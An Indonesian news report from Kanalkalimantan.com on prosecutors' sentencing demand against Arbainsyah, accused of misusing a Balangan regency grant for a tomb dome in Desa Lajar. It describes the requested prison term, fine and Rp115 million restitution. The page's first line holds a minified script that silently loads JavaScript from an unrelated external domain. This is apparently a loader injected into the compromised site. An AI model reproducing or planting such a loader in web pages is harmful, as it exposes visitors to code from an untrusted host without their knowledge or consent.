(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jaksa Penuntut Umum (JPU) Kejaksaan Negeri (Kejari) Balangan menyatakan Arbainsyah, terdakwa kasus dugaan tindak pidana korupsi pengelolaan dana hibah Pemkab Balangan dengan tuntutan bersalah.
JPU menuntut Arbainsyah dengan pidana penjara selama 1 tahun 3 bulan dan pidana denda sebesar Rp50 juta. Dengan catatan apabila denda tersebut tidak dibayar, maka diganti dengan 3 bulan kurungan.
Dalam tuntutan, JPU menyatakan Arbainsyah tidak terbukti sebagaimana dakwaan primair pasal 2 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 2 Tahun 2001 tentang Tipikor.
“Membebaskan terdakwa Arbainsyah dari dakwaan primair tersebut,” kata Adi Suparna SH, JPU yang membacakan tuntutan.
Baca juga: Garuda Semrawut, Kemenag Geram Penerbangan Haji Delay 17 Jam
Meski lepas dari dakwaan primair, warga Desa Lajar, Kecamatan Lampihong, Kabupaten Balangan, Kalimantan Selatan itu dinyatakan terbukti bersalah sebagaimana dakwaan subsidair pasal 3 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang PemberantasanTipikor.
Selain pidana pokok, dalam tuntutannya, JPU juga membebankan kepada Arbainsyah untuk membayar uang pengganti kepada negara sebesar Rp115.404.844, namun uang pengganti tersebut akan diperhitungkan dengan uang yang telah dikembalikan oleh terdakwa melalui panasehat hukum sebelum sidang tuntutan.
“Uang sebesar Rp115.405.000 yang telah dititipkan ke rekening penampungan langsung Kejaksaan Negeri Balangan dirampas untuk negara dan diperhitungkan sebagai pembayaran uang pengganti,” ujarnya.
Diketahui dalam dakwan JPU, terdakwa Arbainsyah dituduh telah melakukan penyelewengan dana hibah dari Pemkab Balangan untuk pembangunan kubah Datu Adul bin Samad di Desa Lajar, Kecamatan Lampihong, Kabupaten Balangan, pada tahun 2022.
Baca juga: Temu Kangen Reuni Akbar Alumni SMPN 1 dan SMAN 1 Mandomai
Nilai hibah yang diterima yaitu sekitar Rp200 juta, namun terdakwa selaku ketua pengurus kubah yang mengajukan dan menerima hibah tidak menyelesaikan pembangunan kubah hingga batas akhir waktu pertanggungjawaban dana hibah, sehingga ditemukan adanya kerugian negara.
Dari hasil audit, niliai kerugian negara yang muncul pada pembangunan kubah yang dikelola terdakwa tersebut mencapai Rp115 juta atau lebih separuh dari total hibah yang diterima.
Sejak proses penyidikan, terdakwa Arbaniansyah telah dialkukan penahanan dan saat proses persidangan dirinya ditahan di Lapas Kelas II A Teluk Dalam Banjarmasin.
Sementara usai dituntut bersalah oleh JPU, terdakwa Arbainsyah melalui penasehat hukumnya mengatakan akan mengajukan pledoi atau pembelaan pada sidang berikutnya.
Baca juga: Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997
Majelis hakim yang diketuai oleh Jamser Simanjuntak dan dua hakim anggota menetapkan sidang berikutnya digelar pada Rabu (5/6/2024) dengan agenda pembelaan dari penasehat hukum terdakwa. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.